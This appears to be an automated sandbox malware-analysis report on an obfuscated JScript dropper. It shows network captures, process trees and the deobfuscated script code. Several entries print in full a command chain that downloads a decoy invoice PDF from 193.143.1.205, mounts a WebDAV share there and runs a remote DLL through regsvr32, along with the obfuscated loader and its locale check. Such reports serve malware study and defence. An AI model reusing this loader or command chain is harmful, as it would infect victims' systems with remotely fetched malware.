/Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 06:20:04.617891073 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 06:20:04.617902994 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 06:20:04.617913961 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 06:20:04.617924929 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 06:20:04.618031025 CET	672	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 06:20:04.618043900 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 06:20:04.618056059 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 06:20:04.618067026 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 06:20:04.618077993 CET	104	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}
Jan 11, 2025 06:20:04.622868061 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	193.143.1.205	8888	5652	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:20:06.192910910 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 06:20:06.967416048 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:20:06 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	00:20:00
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12071652839003777.js"
Imagebase:	0x7ff761130000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:20:00
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll
Imagebase:	0x7ff7ed4f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:20:00
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:20:00
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:20:05
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	00:20:05
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7ed4f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:20:05
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7fa0f0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:20:06
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:20:06
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	00:20:06
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1644,i,1942838675917694284,8950554466312754519,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ahogkcmwc() {	ahogkcmwc() ➔ undefined
1	xgyvqios = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var lgprgir = this[oqlyoud + pwplig + xzucopd + hxctjypl + cteyx + sxkktpopk + sxaspobp + dlzlkap] ( this[tusbbyqnk + vgfitbr + bmoborbtw + xzucopd + soqaakpn + oqlyoud + dlzlkap][doinddx + xzucopd + cteyx + pwplig + dlzlkap + cteyx + gpwpx + wyasbf + umtvis + cteyx + bmoborbtw + dlzlkap] ( tusbbyqnk + vgfitbr + bmoborbtw + xzucopd + soqaakpn + oqlyoud + dlzlkap + szvec + vgfitbr + tmtimjauo + cteyx + scvkapv + scvkapv ) [qrcpjx + cteyx + yfdkgzz + qrcpjx + cteyx + pwplig + mqpqcmccc] ( yhulu + fddfnzc + nvhsmq + bkpivkkke + mtxiidw + doinddx + drapsdqj + qrcpjx + qrcpjx + nvhsmq + anwvo + fcciqcsd + mtxiidw + drapsdqj + vgfitbr + nvhsmq + qrcpjx + bybshbulj + doinddx + nmtkbb + sxaspobp + dlzlkap + xzucopd + nmtkbb + scvkapv + nvbgh + sdmyrhxhv + pwplig + sxaspobp + cteyx + scvkapv + bybshbulj + sxkktpopk + sxaspobp + dlzlkap + cteyx + xzucopd + sxaspobp + pwplig + dlzlkap + soqaakpn + nmtkbb + sxaspobp + pwplig + scvkapv + bybshbulj + fownd + nmtkbb + bmoborbtw + pwplig + scvkapv + cteyx ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( afojrfjq = 0 ; afojrfjq < xgyvqios[scvkapv + cteyx + sxaspobp + yfdkgzz + dlzlkap + tmtimjauo] ; ++ afojrfjq )
4	{
5	if ( lgprgir == xgyvqios[afojrfjq] )
6	{
7	lgprgir = true;
8	break ;
9	}
10	}
11	if ( lgprgir !== true )
12	this[tusbbyqnk + vgfitbr + bmoborbtw + xzucopd + soqaakpn + oqlyoud + dlzlkap][upairtx + hxroazmh + soqaakpn + dlzlkap] ( );
13	this[tusbbyqnk + vgfitbr + bmoborbtw + xzucopd + soqaakpn + oqlyoud + dlzlkap][doinddx + xzucopd + cteyx + pwplig + dlzlkap + cteyx + gpwpx + wyasbf + umtvis + cteyx + bmoborbtw + dlzlkap] ( tusbbyqnk + vgfitbr + bmoborbtw + xzucopd + soqaakpn + oqlyoud + dlzlkap + szvec + vgfitbr + tmtimjauo + cteyx + scvkapv + scvkapv ) [xzucopd + hxroazmh + sxaspobp] ( bmoborbtw + xqmdo + mqpqcmccc + nvbgh + oydjwwaox + bmoborbtw + nvbgh + oqlyoud + nmtkbb + sqahqgobj + cteyx + xzucopd + hxctjypl + tmtimjauo + cteyx + scvkapv + scvkapv + szvec + cteyx + xnkfmn + cteyx + nvbgh + yahlrl + doinddx + nmtkbb + xqmdo + xqmdo + pwplig + sxaspobp + mqpqcmccc + nvbgh + alpoyhd + sxkktpopk + sxaspobp + hkzbx + nmtkbb + ppyqc + cteyx + yahlrl + tusbbyqnk + cteyx + wyasbf + qrcpjx + cteyx + joupw + hxroazmh + cteyx + hxctjypl + dlzlkap + nvbgh + yahlrl + gpwpx + hxroazmh + dlzlkap + mdslj + soqaakpn + scvkapv + cteyx + nvbgh + ioqvi + dlzlkap + cteyx + xqmdo + oqlyoud + ioqvi + bybshbulj + soqaakpn + sxaspobp + hkzbx + nmtkbb + soqaakpn + bmoborbtw + cteyx + szvec + oqlyoud + mqpqcmccc + fbnfbk + nvbgh + tmtimjauo + dlzlkap + dlzlkap + oqlyoud + exkfpws + oydjwwaox + oydjwwaox + yvwmwsdv + njoqcx + uxeqfyvby + szvec + yvwmwsdv + psgkn + uxeqfyvby + szvec + yvwmwsdv + szvec + ldztow + bhplcxh + peolka + oydjwwaox + soqaakpn + sxaspobp + hkzbx + nmtkbb + soqaakpn + bmoborbtw + cteyx + szvec + oqlyoud + tmtimjauo + oqlyoud + alpoyhd + damkf + damkf + hxctjypl + dlzlkap + pwplig + xzucopd + dlzlkap + nvbgh + ioqvi + dlzlkap + cteyx + xqmdo + oqlyoud + ioqvi + bybshbulj + soqaakpn + sxaspobp + hkzbx + nmtkbb + soqaakpn + bmoborbtw + cteyx + szvec + oqlyoud + mqpqcmccc + fbnfbk + damkf + damkf + bmoborbtw + xqmdo + mqpqcmccc + nvbgh + oydjwwaox + bmoborbtw + nvbgh + sxaspobp + cteyx + dlzlkap + nvbgh + hxroazmh + hxctjypl + cteyx + nvbgh + bybshbulj + bybshbulj + yvwmwsdv + njoqcx + uxeqfyvby + szvec + yvwmwsdv + psgkn + uxeqfyvby + szvec + yvwmwsdv + szvec + ldztow + bhplcxh + peolka + fkvwmknzw + xbxrewvfc + xbxrewvfc + xbxrewvfc + xbxrewvfc + bybshbulj + mqpqcmccc + pwplig + hkzbx + sqahqgobj + sqahqgobj + sqahqgobj + xzucopd + nmtkbb + nmtkbb + dlzlkap + bybshbulj + damkf + damkf + bmoborbtw + xqmdo + mqpqcmccc + nvbgh + oydjwwaox + bmoborbtw + nvbgh + xzucopd + cteyx + yfdkgzz + hxctjypl + hkzbx + xzucopd + uxeqfyvby + ldztow + nvbgh + oydjwwaox + hxctjypl + nvbgh + bybshbulj + bybshbulj + yvwmwsdv + njoqcx + uxeqfyvby + szvec + yvwmwsdv + psgkn + uxeqfyvby + szvec + yvwmwsdv + szvec + ldztow + bhplcxh + peolka + fkvwmknzw + xbxrewvfc + xbxrewvfc + xbxrewvfc + xbxrewvfc + bybshbulj + mqpqcmccc + pwplig + hkzbx + sqahqgobj + sqahqgobj + sqahqgobj + xzucopd + nmtkbb + nmtkbb + dlzlkap + bybshbulj + yvwmwsdv + bhplcxh + peolka + ldztow + yvwmwsdv + uxeqfyvby + yvwmwsdv + ldztow + njoqcx + xbxrewvfc + yvwmwsdv + psgkn + peolka + ldztow + peolka + szvec + mqpqcmccc + scvkapv + scvkapv, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll",0,false) ➔ 0
14	}
15	upairtx = "B";
16	upairtx = "M";
17	upairtx = "Q";
18	mtxiidw = "b";
19	mtxiidw = "J";
20	mtxiidw = "t";
21	mtxiidw = "z";
22	mtxiidw = "F";
23	mtxiidw = "u";
24	mtxiidw = "x";
25	mtxiidw = "D";
26	mtxiidw = "T";
27	mtxiidw = "l";
28	mtxiidw = "g";
29	mtxiidw = "n";
30	mtxiidw = "O";
31	mtxiidw = "z";
32	mtxiidw = "z";
33	mtxiidw = "C";
34	mtxiidw = "d";
35	mtxiidw = "e";
36	mtxiidw = "c";
37	mtxiidw = "L";
38	mtxiidw = "f";
39	mtxiidw = "E";
40	mtxiidw = "y";
41	mtxiidw = "d";
42	mtxiidw = "O";
43	mtxiidw = "a";
44	mtxiidw = "E";
45	mtxiidw = "H";
46	mtxiidw = "e";
47	mtxiidw = "y";
48	mtxiidw = "W";
49	mtxiidw = "F";
50	mtxiidw = "r";
51	mtxiidw = "C";
52	mtxiidw = "x";
53	mtxiidw = "a";
54	mtxiidw = "k";
55	mtxiidw = "J";
56	mtxiidw = "o";
57	mtxiidw = "E";
58	mtxiidw = "d";
59	mtxiidw = "_";
60	dlzlkap = "U";
61	dlzlkap = "A";
62	dlzlkap = "K";
63	dlzlkap = "W";
64	dlzlkap = "n";
65	dlzlkap = "t";
66	ldztow = "V";
67	ldztow = "h";
68	ldztow = "c";
69	ldztow = "C";
70	ldztow = "e";
71	ldztow = "s";
72	ldztow = "h";
73	ldztow = "g";
74	ldztow = "P";
75	ldztow = "Y";
76	ldztow = "c";
77	ldztow = "m";
78	ldztow = "v";
79	ldztow = "R";
80	ldztow = "F";
81	ldztow = "I";
82	ldztow = "M";
83	ldztow = "V";
84	ldztow = "Q";
85	ldztow = "R";
86	ldztow = "V";
87	ldztow = "c";
88	ldztow = "W";
89	ldztow = "I";
90	ldztow = "T";
91	ldztow = "H";
92	ldztow = "D";
93	ldztow = "a";
94	ldztow = "u";
95	ldztow = "l";
96	ldztow = "Z";
97	ldztow = "Q";
98	ldztow = "h";
99	ldztow = "A";
100	ldztow = "z";
101	ldztow = "c";
102	ldztow = "V";
103	ldztow = "2";
104	nvhsmq = "l";
105	nvhsmq = "s";
106	nvhsmq = "p";
107	nvhsmq = "A";
108	nvhsmq = "v";
109	nvhsmq = "c";
110	nvhsmq = "Y";
111	nvhsmq = "n";
112	nvhsmq = "m";
113	nvhsmq = "k";
114	nvhsmq = "g";
115	nvhsmq = "n";
116	nvhsmq = "Z";
117	nvhsmq = "g";
118	nvhsmq = "z";
119	nvhsmq = "U";
120	nvhsmq = "B";
121	nvhsmq = "k";
122	nvhsmq = "H";
123	nvhsmq = "H";
124	nvhsmq = "M";
125	nvhsmq = "M";
126	nvhsmq = "N";
127	nvhsmq = "l";
128	nvhsmq = "e";
129	nvhsmq = "Z";
130	nvhsmq = "c";
131	nvhsmq = "Z";
132	nvhsmq = "E";
133	nvhsmq = "r";
134	nvhsmq = "t";
135	nvhsmq = "v";
136	nvhsmq = "A";
137	nvhsmq = "A";
138	nvhsmq = "G";
139	nvhsmq = "U";
140	nvhsmq = "L";
141	nvhsmq = "A";
142	nvhsmq = "c";
143	nvhsmq = "U";
144	nvhsmq = "E";
145	oqlyoud = "U";
146	oqlyoud = "g";
147	oqlyoud = "L";
148	oqlyoud = "i";
149	oqlyoud = "b";
150	oqlyoud = "y";
151	oqlyoud = "c";
152	oqlyoud = "K";
153	oqlyoud = "I";
154	oqlyoud = "P";
155	oqlyoud = "E";
156	oqlyoud = "z";
157	oqlyoud = "d";
158	oqlyoud = "B";
159	oqlyoud = "w";
160	oqlyoud = "l";
161	oqlyoud = "V";
162	oqlyoud = "e";
163	oqlyoud = "w";
164	oqlyoud = "x";
165	oqlyoud = "a";
166	oqlyoud = "m";
167	oqlyoud = "o";
168	oqlyoud = "n";
169	oqlyoud = "k";
170	oqlyoud = "T";
171	oqlyoud = "p";
172	bmoborbtw = "i";
173	bmoborbtw = "J";
174	bmoborbtw = "f";
175	bmoborbtw = "H";
176	bmoborbtw = "R";
177	bmoborbtw = "i";
178	bmoborbtw = "o";
179	bmoborbtw = "q";
180	bmoborbtw = "F";
181	bmoborbtw = "p";
182	bmoborbtw = "a";
183	bmoborbtw = "q";
184	bmoborbtw = "c";
185	pwplig = "f";
186	pwplig = "h";
187	pwplig = "I";
188	pwplig = "u";
189	pwplig = "p";
190	pwplig = "j";
191	pwplig = "c";
192	pwplig = "C";
193	pwplig = "S";
194	pwplig = "J";
195	pwplig = "H";
196	pwplig = "Q";
197	pwplig = "J";
198	pwplig = "M";
199	pwplig = "b";
200	pwplig = "U";
201	pwplig = "G";
202	pwplig = "x";
203	pwplig = "T";
204	pwplig = "I";
205	pwplig = "C";
206	pwplig = "S";
207	pwplig = "j";
208	pwplig = "o";
209	pwplig = "a";
210	xbxrewvfc = "l";
211	xbxrewvfc = "o";
212	xbxrewvfc = "q";
213	xbxrewvfc = "C";
214	xbxrewvfc = "g";
215	xbxrewvfc = "N";
216	xbxrewvfc = "u";
217	xbxrewvfc = "w";
218	xbxrewvfc = "S";
219	xbxrewvfc = "R";
220	xbxrewvfc = "x";
221	xbxrewvfc = "O";
222	xbxrewvfc = "f";
223	xbxrewvfc = "M";
224	xbxrewvfc = "I";
225	xbxrewvfc = "K";
226	xbxrewvfc = "Y";
227	xbxrewvfc = "c";
228	xbxrewvfc = "u";
229	xbxrewvfc = "Z";
230	xbxrewvfc = "L";
231	xbxrewvfc = "R";
232	xbxrewvfc = "g";
233	xbxrewvfc = "8";
234	umtvis = "R";
235	umtvis = "B";
236	umtvis = "Q";
237	umtvis = "p";
238	umtvis = "G";
239	umtvis = "c";
240	umtvis = "y";
241	umtvis = "h";
242	umtvis = "d";
243	umtvis = "p";
244	umtvis = "z";
245	umtvis = "Y";
246	umtvis = "Y";
247	umtvis = "f";
248	umtvis = "e";
249	umtvis = "Z";
250	umtvis = "P";
251	umtvis = "n";
252	umtvis = "M";
253	umtvis = "a";
254	umtvis = "X";
255	umtvis = "N";
256	umtvis = "T";
257	umtvis = "D";
258	umtvis = "z";
259	umtvis = "g";
260	umtvis = "c";
261	umtvis = "Z";
262	umtvis = "z";
263	umtvis = "b";
264	umtvis = "c";
265	umtvis = "j";
266	umtvis = "V";
267	umtvis = "n";
268	umtvis = "J";
269	umtvis = "j";
270	vgfitbr = "T";
271	vgfitbr = "C";
272	vgfitbr = "B";
273	vgfitbr = "a";
274	vgfitbr = "t";
275	vgfitbr = "S";
276	nvbgh = "i";
277	nvbgh = "D";
278	nvbgh = "F";
279	nvbgh = "K";
280	nvbgh = "Q";
281	nvbgh = "f";
282	nvbgh = "P";
283	nvbgh = "c";
284	nvbgh = "c";
285	nvbgh = "J";
286	nvbgh = "M";
287	nvbgh = "Z";
288	nvbgh = "q";
289	nvbgh = " ";
290	anwvo = "T";
291	anwvo = "U";
292	anwvo = "z";
293	anwvo = "Q";
294	anwvo = "s";
295	anwvo = "j";
296	anwvo = "Y";
297	anwvo = "B";
298	anwvo = "O";
299	anwvo = "x";
300	anwvo = "w";
301	anwvo = "D";
302	anwvo = "m";
303	anwvo = "c";
304	anwvo = "q";
305	anwvo = "G";
306	anwvo = "T";
307	anwvo = "M";
308	anwvo = "U";
309	anwvo = "l";
310	anwvo = "T";
311	anwvo = "l";
312	anwvo = "l";
313	anwvo = "M";
314	anwvo = "r";
315	anwvo = "n";
316	anwvo = "C";
317	anwvo = "N";
318	fcciqcsd = "F";
319	fcciqcsd = "A";
320	fcciqcsd = "h";
321	fcciqcsd = "C";
322	fcciqcsd = "o";
323	fcciqcsd = "i";
324	fcciqcsd = "H";
325	fcciqcsd = "m";
326	fcciqcsd = "e";
327	fcciqcsd = "t";
328	fcciqcsd = "N";
329	fcciqcsd = "E";
330	fcciqcsd = "a";
331	fcciqcsd = "Q";
332	fcciqcsd = "i";
333	fcciqcsd = "V";
334	fcciqcsd = "x";
335	fcciqcsd = "r";
336	fcciqcsd = "V";
337	fcciqcsd = "N";
338	fcciqcsd = "Q";
339	fcciqcsd = "U";
340	fcciqcsd = "Z";
341	fcciqcsd = "I";
342	fcciqcsd = "p";
343	fcciqcsd = "T";
344	yhulu = "U";
345	yhulu = "P";
346	yhulu = "W";
347	yhulu = "K";
348	yhulu = "U";
349	yhulu = "L";
350	yhulu = "M";
351	yhulu = "X";
352	yhulu = "v";
353	yhulu = "L";
354	yhulu = "D";
355	yhulu = "M";
356	yhulu = "e";
357	yhulu = "e";
358	yhulu = "I";
359	yhulu = "n";
360	yhulu = "s";
361	yhulu = "l";
362	yhulu = "T";
363	yhulu = "d";
364	yhulu = "u";
365	yhulu = "w";
366	yhulu = "H";
367	yhulu = "n";
368	yhulu = "a";
369	yhulu = "I";
370	yhulu = "O";
371	yhulu = "o";
372	yhulu = "W";
373	yhulu = "w";
374	yhulu = "m";
375	yhulu = "t";
376	yhulu = "r";
377	yhulu = "v";
378	yhulu = "J";
379	yhulu = "Y";
380	yhulu = "l";
381	yhulu = "H";
382	ioqvi = "O";
383	ioqvi = "D";
384	ioqvi = "N";
385	ioqvi = "z";
386	ioqvi = "O";
387	ioqvi = "N";
388	ioqvi = "O";
389	ioqvi = "s";
390	ioqvi = "C";
391	ioqvi = "F";
392	ioqvi = "x";
393	ioqvi = "x";
394	ioqvi = "t";
395	ioqvi = "T";
396	ioqvi = "f";
397	ioqvi = "R";
398	ioqvi = "v";
399	ioqvi = "r";
400	ioqvi = "j";
401	ioqvi = "Q";
402	ioqvi = "C";
403	ioqvi = "b";
404	ioqvi = "q";
405	ioqvi = "V";
406	ioqvi = "X";
407	ioqvi = "U";
408	ioqvi = "z";
409	ioqvi = "Z";
410	ioqvi = "d";
411	ioqvi = "F";
412	ioqvi = "A";
413	ioqvi = "M";
414	ioqvi = "g";
415	ioqvi = "X";
416	ioqvi = "z";
417	ioqvi = "f";
418	ioqvi = "%";
419	soqaakpn = "x";
420	soqaakpn = "v";
